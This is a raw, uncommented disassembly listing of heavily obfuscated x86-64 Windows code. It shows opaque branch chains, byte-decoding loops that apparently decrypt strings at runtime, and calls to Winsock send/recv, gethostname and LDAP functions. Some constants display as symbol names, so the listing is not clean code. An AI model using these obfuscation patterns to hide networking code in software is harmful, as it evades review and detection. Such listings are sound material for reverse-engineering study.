add rax, r9
add rdi, rax
inc rdi
jmp 0x1400df9b3
lea ecx, [rdi - 0x67]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2f
mov byte [rbp + rdi + 0x170], r11b
inc rdi
jmp 0x1400df9b3
lea edx, [rdi + 0x53]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x45
add r11b, dl
cmp r9, 3
jb 0x1400dfdec
movzx r10d, dil
lea edx, [r10 - 0xe]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x3c]
jmp 0x1400e0380
lea edx, [rdi + 0xd]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5b
add r11b, dl
cmp r8, 0x80
jae 0x1400e0293
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x1400e01bf
lea edx, [rdi + 0x36]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7a
jmp 0x1400dfe11
lea edx, [rdi - 0x39]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x71
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x1400e02da
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400e00fc
lea edx, [rdi - 0x29]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x1f
jmp 0x1400dfe52
lea edx, [rdi + 0x3a]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x170]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400df9b3
lea edx, [rdi - 0xc]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400e0430
lea edx, [rdi - 0x52]
movzx eax, bl
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400e0409
lea edx, [rdi + 0x68]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400e03d7
lea edx, [rdi + 0x22]
movzx eax, bl
and al, dl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
jmp 0x1400e03d7
movzx r10d, dil
lea edx, [r10 - 0x24]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 4
jmp 0x1400e02b1
lea ecx, [rdi - 0x6a]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1a
dec rdi
inc rdi
jmp 0x1400df9b3
lea ecx, [rdi + 0x50]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
inc r9
dec rdi
inc rdi
jmp 0x1400df9b3
movzx r10d, dil
lea edx, [r10 + 0xa]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x46
jmp 0x1400e037d
lea rcx, [r9 + 4]
cmp r8, rcx
jae 0x1400e0024
lea edx, [rdi - 0x5d]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x75
jmp 0x1400dfe9b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e0057
lea ecx, [rdi - 0x42]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x32
movzx eax, byte [rbp + rdi + 0x170]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400df9b3
inc rax
cmp r8, rax
jne 0x1400e007c
lea edx, [rdi + 0x4a]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 6
add r11b, dl
jmp 0x1400e0409
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e00a6
lea edx, [rdi - 0x2a]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
jmp 0x1400e03d7
cmp r8, rcx
jne 0x1400e00cf
lea edx, [rdi + 0x62]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400df9b3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400dfe9e
movzx r10d, dil
lea edx, [r10 - 0x12]
movzx eax, bl
and al, dl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400e037d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e0124
movzx r10d, dil
lea edx, [r10 + 0x1d]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x35
jmp 0x1400e037d
inc rax
cmp r8, rax
jne 0x1400e014e
lea ecx, [rdi + 0x63]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x4b
inc r9
dec rdi
inc rdi
jmp 0x1400df9b3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e0173
lea ecx, [rdi + 0x35]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x73
add r8, r9
jmp 0x1400e03d7
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400e0195
lea ecx, [rdi + 0x7b]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5d
jmp 0x1400e03d7
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400dfe55
lea edx, [rdi + 7]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x31
add r11b, dl
jmp 0x1400e0430
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e01f2
lea ecx, [rdi + 0x7c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x64
movzx eax, byte [rbp + rdi + 0x170]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400df9b3
inc rax
cmp r8, rax
jne 0x1400e0217
lea edx, [rdi + 8]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x38
add r11b, dl
jmp 0x1400e0409
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e023c
lea ecx, [rdi - 0x6c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xc
add r8, r9
jmp 0x1400e03d7
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e0262
movzx r10d, dil
lea edx, [r10 - 0x26]
movzx eax, bl
and al, dl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400e02b1
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400dfe14
lea edx, [rdi + 0x20]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400df9b3
movzx r10d, dil
lea edx, [r10 + 0x38]
movzx eax, bl
and al, dl
movzx ecx, byte [rbp + rdi + 0x170]
sub cl, al
add cl, 0x3c
lea r11d, [rcx + rcx]
add r11b, dl
sub r10b, 0x25
movzx eax, bl
and al, r10b
add al, al
sub bl, al
add bl, 3
add bl, r11b
add bl, r10b
mov byte [rbp + rdi + 0x170], bl
add r8, r9
jmp 0x1400e03d7
lea ecx, [rdi + 0x7e]
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r11d, [rcx - 0x72]
jmp 0x1400e0409
lea edx, [rdi - 0x71]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x17
add r11b, dl
jmp 0x1400e0430
lea ecx, [rdi - 0x43]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2b
add r8, r9
jmp 0x1400e03d7
lea ecx, [rdi + 0x31]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x57
dec rdi
inc rdi
jmp 0x1400df9b3
movzx r10d, dil
lea edx, [r10 - 0x5b]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x7d
jmp 0x1400e037d
movzx r10d, dil
lea edx, [r10 + 0x19]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x51
add r11b, dl
sub r10b, 0x6b
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x13
add bl, r10b
mov byte [rbp + rdi + 0x170], bl
inc r9
dec rdi
inc rdi
jmp 0x1400df9b3
lea ecx, [rdi + 1]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 7
add r8, r9
jmp 0x1400e03d7
lea rcx, [rdi + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0x1d
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400df9b3
lea rcx, [rdi + r12]
movzx ebx, dl
and dl, cl
add dl, dl
movzx r11d, bl
sub r11b, dl
sub r11b, 0x33
add r11b, cl
lea edx, [rdi + 0x21]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x19
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x170], al
inc r9
add rax, r9
sub rdi, rax
lea ecx, [rdi - 0x3c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x5c
add bl, cl
mov byte [rbp + rdi + 0x170], bl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x170]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400df9b3
lea rcx, [rdi + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0x5f
movzx eax, byte [rbp + rdi + 0x170]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400df9b3
sub dil, 0x51
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
add r11b, 0x37
jmp 0x1400df9b0
add dil, 0x69
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
add r11b, 0x21
jmp 0x1400df9a0
lea rcx, [rbp + 0x158bef4]
jmp 0x1400e04e8
lea rcx, [rbp + 0xdcfb97]
jmp 0x1400e04e8
lea rcx, [rbp + 0x170]
call fcn.14003f5a0
mov byte [rbp + 0x230], 0xe3
mov byte [rbp + 0x231], 0x85
mov byte [rbp + 0x232], __WSAFDIsSet
mov byte [rbp + 0x233], 0x81
mov byte [rbp + 0x234], 0x80
mov byte [rbp + 0x235], Ordinal_143
mov byte [rbp + 0x236], 0x88
mov byte [rbp + 0x237], 0x90
mov byte [rbp + 0x238], 0xe8
mov byte [rbp + 0x239], 0xda
mov byte [rbp + 0x23a], 0xbe
mov byte [rbp + 0x23b], 0xaa
mov byte [rbp + 0x23c], 0xbe
mov byte [rbp + 0x23d], 0xb9
mov byte [rbp + 0x23e], 0xbb
mov byte [rbp + 0x23f], 0xbf
mov byte [rbp + 0x240], r13b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x241], xmm0
mov word [rbp + 0x251], ax
movabs rsi, 0xf9f4be800ca61a58
movabs r15, 0xd5b13580588ab868
movabs r14, 0xedde3b8025f24f08
movzx r10d, byte [rbp + 0x3c0]
nop dword [rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov rdi, r13
cmp rdi, 0x23
jae 0x1400e109c
movzx ebx, byte [rbp + rdi + 0x230]
mov rdx, rbx
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400e1093
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400e05fc
lea rcx, [rdi + rsi]
mov rax, rbx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rbx
add r10, rcx
sub r10b, 0x68
jmp 0x1400e0630
je 0x1400e1029
inc rax
cmp r8, rax
je 0x1400e0fa9
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e0f52
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400e0f07
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400e108a
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400e065d
lea edx, [rdi + 0x38]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400e0683
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e0ee8
inc rax
cmp r8, rax
je 0x1400e0ec4
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e0ea6
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400e0ba2
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400e0b90
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400e0b6b
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400e0b4c
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400e0c49
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400e0b2e
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400e0b10
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400e0af2
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400e0ad9
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400e0aaf
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e0690
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400e106f
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400e1054
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400e087e
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400e0860
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400e0847
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400e0a65
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400e0a1e
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400e09dc
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400e09b3
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400e0690
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400e0984
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400e0966
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400e094d
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400e0934
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400e0921
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400e08ff
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400e08db
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400e08b9
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400e089c
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400e0690
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x41]
jmp 0x1400e0690
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x78
jmp 0x1400e0683
lea edx, [rdi + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400e0630
lea edx, [rdi + 0x68]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400e05c5
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x40
movzx r11d, dil
jmp 0x1400e0f25
lea ecx, [rdi + 0x10]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x70
inc r9
dec rdi
inc rdi
jmp 0x1400e05b3
lea edx, [rdi + 0x60]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec rdi
inc rdi
jmp 0x1400e05b3
lea edx, [rdi - 0x50]
movzx eax, dl
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx r11d, dil
jmp 0x1400e0f6b
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r10d, [rdi + rbx]
jmp 0x1400e0f8d
lea ecx, [rdi + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x30
jmp 0x1400e0f90
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x60
jmp 0x1400e0fc3
lea edx, [rdi - 0x10]
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400e0fe7
lea edx, [rdi + 0x40]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400e05b3
lea edx, [rdi - 0x78]
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
mov byte [rbp + rdi + 0x230], r10b
inc rdi
jmp 0x1400e05b3
lea edx, [rdi - 0x28]
movzx eax, dl
and al, bl
mov ecx, ntohl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r9, 1
jb 0x1400e09cc
movzx r11d, dil
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, bl
mov edx, 8
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r10d, [rdx + rdx]
jmp 0x1400e0f25
lea ecx, [rdi + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x18
cmp r8, 0x3e8
jae 0x1400e0e67
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400e0d83
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x50
jmp 0x1400e09f5
lea ecx, [rdi + 0x78]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x48
lea rax, [r8 + r9]
cmp rax, 1
je 0x1400e0e91
lea rcx, [r9 + 3]
cmp r8, rcx
jbe 0x1400e0cb3
lea edx, [rdi - 8]
movzx eax, bl
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400e0a32
lea ecx, [rdi + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x30
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400e05b3
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x60
jmp 0x1400e0fe7
lea edx, [rdi - 0x10]
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400e0fc3
lea edx, [rdi + 0x40]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400e0f90
lea edx, [rdi - 0x70]
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400e0f8d
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x50
dec rdi
inc rdi
jmp 0x1400e05b3
lea ecx, [rdi + 0x80]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x80
inc r9
dec rdi
inc rdi
jmp 0x1400e05b3
movzx r11d, dil
lea edx, [r11 - 0x30]
mov ecx, Ordinal_41
jmp 0x1400e0f14
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400e0bc4
lea ecx, [rdi + 0x58]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x68
jmp 0x1400e0a79
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400e0bf7
lea ecx, [rdi + 0x70]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x10
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400e05b3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e0c1e
lea edx, [rdi - 0x30]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400e0fc3
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400e0c40
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x50
jmp 0x1400e0f8d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e0c67
movzx r11d, dil
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x20
jmp 0x1400e0f6b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e0c94
lea edx, [rdi - 0x70]
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec rdi
inc rdi
jmp 0x1400e05b3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400e0a79
movzx r11d, dil
lea edx, [r11 - 0x10]
mov ecx, Ordinal_60
jmp 0x1400e0f14
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e0cdf
movzx r11d, dil
lea edx, [r11 - 0x58]
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400e0f25
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e0d07
lea ecx, [rdi + 8]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x38
dec rdi
inc rdi
jmp 0x1400e05b3
cmp r8, rcx
jne 0x1400e0d2a
lea edx, [rdi + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400e0f90
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e0d4c
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x78
jmp 0x1400e0fc3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e0a32
lea ecx, [rdi + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x18
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400e05b3
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400e0db6
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x20
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400e05b3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e0ddd
lea edx, [rdi + 0x40]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400e0fc3
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400e0dff
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x60
jmp 0x1400e0f8d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e0e26
movzx r11d, dil
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x30
jmp 0x1400e0f6b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e0e48
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r10d, [rdi + rbx]
dec rdi
inc rdi
jmp 0x1400e05b3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400e09f5
movzx r11d, dil
lea edx, [r11 + 0x60]
mov ecx, Ordinal_50
jmp 0x1400e0f14
movzx r11d, dil
lea edx, [r11 - 0x40]
movzx eax, dl
and al, bl
add al, al
movzx r10d, byte [rbp + rdi + 0x230]
sub r10b, al
sub r10b, 0x40
add r10b, bl
add r10b, dl
jmp 0x1400e0f6b
lea ecx, [rdi + 0x70]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rcx - 0x10]
jmp 0x1400e0fc3
lea edx, [rdi - 0x58]
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400e0f8d
lea edx, [rdi + 0x48]
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec rdi
inc rdi
jmp 0x1400e05b3
movzx r11d, dil
lea edx, [r11 - 0x18]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x58
add r10b, dl
jmp 0x1400e0f25
movzx r11d, dil
lea edx, [r11 - 0x78]
mov ecx, 0x24
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
add r11b, 0x68
movzx eax, r11b
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0x230], cl
inc r9
dec rdi
inc rdi
jmp 0x1400e05b3
movzx r11d, dil
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x48
add r11b, 0x18
movzx eax, r11b
and al, bl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, bl
mov byte [rbp + rdi + 0x230], cl
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400e05b3
lea rcx, [rdi + r15]
movzx ebx, dl
and dl, cl
mov eax, reloc.WS2_32.dll_sendto
sub al, dl
lea r10d, [rax + rax]
add r10b, bl
add r10b, cl
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x78
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x230], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x20]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x230], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400e05b3
lea rcx, [rdi + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x38
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400e05b3
sub dil, 0x48
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r10d, [rdi + rbx]
sub r10b, 8
jmp 0x1400e05b0
add dil, 8
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r10d, [rdi + rbx]
sub r10b, 0x38
jmp 0x1400e05a0
lea rcx, [rbp + 0x159b550]
jmp 0x1400e10a3
lea rcx, [rbp + 0xffcfa8]
jmp 0x1400e10a3
lea rcx, [rbp + 0x230]
call fcn.14003f5a0
call fcn.1400ef9a0
mov byte [rbp + 0x190], 0x53
mov byte [rbp + 0x191], Ordinal_50
mov byte [rbp + 0x192], Ordinal_45
mov byte [rbp + 0x193], gethostname
mov byte [rbp + 0x194], gethostname
mov byte [rbp + 0x195], gethostname
mov byte [rbp + 0x196], Ordinal_41
mov byte [rbp + 0x197], 0x77
mov byte [rbp + 0x198], 0x5e
mov byte [rbp + 0x199], reloc.WLDAP32.dll_Ordinal_60
